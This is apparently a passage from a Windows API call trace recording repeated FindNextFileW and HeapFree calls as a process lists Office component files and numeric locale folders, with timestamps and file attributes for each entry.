	[0078.124] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1
	[0078.135] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0078.135] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ad675f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ad675f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5ad675f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.DLL", cAlternateFileName="")) returned 1
	[0078.137] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0078.137] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.dll", cAlternateFileName="POWERP~1.DLL")) returned 1
	[0078.139] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0078.139] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0078.141] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0078.141] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae48f06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae48f06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae6f174, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x174c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.dll", cAlternateFileName="REPORT~1.DLL")) returned 1
	[0078.460] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.460] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefee59ce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1026", cAlternateFileName="")) returned 1
	[0078.461] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.461] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1755c61, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="10266", cAlternateFileName="")) returned 1
	[0078.461] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.461] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1027", cAlternateFileName="")) returned 1
	[0078.461] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.461] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd42fe2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1028", cAlternateFileName="")) returned 1
	[0078.461] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.461] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1029", cAlternateFileName="")) returned 1
	[0078.461] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.462] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaf7a22a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf7a22a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf7a22a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1030", cAlternateFileName="")) returned 1
	[0078.462] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.462] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1031", cAlternateFileName="")) returned 1
	[0078.462] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.462] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e6a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51e6a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51e6a31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1032", cAlternateFileName="")) returned 1
	[0078.462] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.462] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42fef17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42fef17, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1
	[0078.462] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.462] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1035", cAlternateFileName="")) returned 1
	[0078.462] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.463] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1
	[0078.463] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.463] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1037", cAlternateFileName="")) returned 1
	[0078.463] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.463] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88e2fa3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88e2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1038", cAlternateFileName="")) returned 1
	[0078.470] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.470] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1040", cAlternateFileName="")) returned 1
	[0078.474] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.474] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1041", cAlternateFileName="")) returned 1
	[0078.482] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.482] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf048f354, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf048f354, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf048f354, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1042", cAlternateFileName="")) returned 1
	[0078.485] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.485] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1043", cAlternateFileName="")) returned 1
	[0078.489] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.489] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1044", cAlternateFileName="")) returned 1
	[0078.490] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.490] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1045", cAlternateFileName="")) returned 1
	[0078.490] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.490] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1887f3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1046", cAlternateFileName="")) returned 1
	[0078.491] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.491] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a8a2df, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1048", cAlternateFileName="")) returned 1
	[0078.492] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.492] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b87f8e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1049", cAlternateFileName="")) returned 1
	[0078.493] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.493] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcc62b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc62b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1050", cAlternateFileName="")) returned 1
	[0078.493] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.493] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1051", cAlternateFileName="")) returned 1
	[0078.494] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.494] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bd3439, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bd3439, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bd3439, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1053", cAlternateFileName="")) returned 1
	[0078.494] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.494] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1054", cAlternateFileName="")) returned 1
	[0078.495] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.495] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1055", cAlternateFileName="")) returned 1
	[0078.496] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.496] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1057", cAlternateFileName="")) returned 1
	[0078.496] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.496] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1058", cAlternateFileName="")) returned 1
	[0078.497] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.497] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1060", cAlternateFileName="")) returned 1
	[0078.498] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.498] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2d943c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1061", cAlternateFileName="")) returned 1
	[0078.499] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.499] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992fb3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1062", cAlternateFileName="")) returned 1
	[0078.500] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.500] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1063", cAlternateFileName="")) returned 1
	[0078.501] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.501] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1066", cAlternateFileName="")) returned 1
	[0078.502] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
